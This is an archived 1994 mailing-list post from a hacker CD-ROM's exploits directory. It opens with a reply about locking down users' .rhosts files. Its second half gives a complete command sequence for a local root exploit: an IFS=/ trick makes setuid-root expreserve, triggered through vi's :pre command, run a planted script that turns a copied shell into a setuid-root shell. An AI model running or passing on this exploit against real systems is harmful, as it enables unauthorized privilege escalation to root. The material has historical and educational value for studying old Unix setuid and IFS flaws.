home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / solaris / sol-expr.htm / text0000.txt < prev   
Encoding:
Text File  |  1997-02-23  |  1.3 KB  |  42 lines

  1.  
  2. On Sat, 15 Oct 1994, James Seng wrote:
  3.  
  4.  
  5.  
  6. > Anyway, what i did on my system is put a .rhosts file in every user 
  7.  
  8. > directory. chmod 000 .rhosts and chown root .rhosts. Not all user needs 
  9.  
  10. > .rhosts file. Those who wants to use them email me and i will chown back 
  11.  
  12. > to them. (any problem with that? :-)
  13.  
  14.  
  15. > James Seng Ching Hong ~{W/Uq:j~}    
  16.  
  17. > Technet Student Consultant, Technet Unit
  18.  
  19. > Internet: jseng@solomon.technet.sg 
  20.  
  21.  
  22.  
  23. If the users own their home directories, then what prevents them from
  24.  
  25. removing that file?
  26.  
  27.   Oh, I detect an OS-dependent feature here...
  28.  
  29.  
  30.  
  31. ObBug: vi runs expreserve when it crashes or you type ':pre' (on some
  32.  
  33.   versions).  Expreserve is setuid root.  Expreserve runs /bin/mail
  34.  
  35.   with 'system()'.  So, do the following:
  36.  
  37.     % cd /tmp
  38.  
  39.     % cp /bin/sh fubar
  40.  
  41.     % cat > bin
  42.  
  43.     chmod 4755 fubar
  44.  
  45.     ^D
  46.  
  47.     % chmod u+x fubar
  48.  
  49.     % setenv IFS=/
  50.  
  51.     % vi
  52.  
  53.     :pre
  54.  
  55.     :q
  56.  
  57.     % fubar
  58.  
  59.     #
  60.  
  61.   Some versions of expreserve don't have the hole.
  62.  
  63.   Some versions of vi don't have the :pre command.
  64.  
  65.   One does not imply the other.
  66.  
  67.  
  68.  
  69. Argh.  Am I repeating 8lgm material here?
  70.  
  71. --
  72.  
  73. Charles Howes -- chowes@helix.net
  74.  
  75.  Always tell the truth, then you make it the other bloke's problem! 
  76.  
  77.  - Sean Connery, 1971   
  78.  
  79.  
  80.  
  81.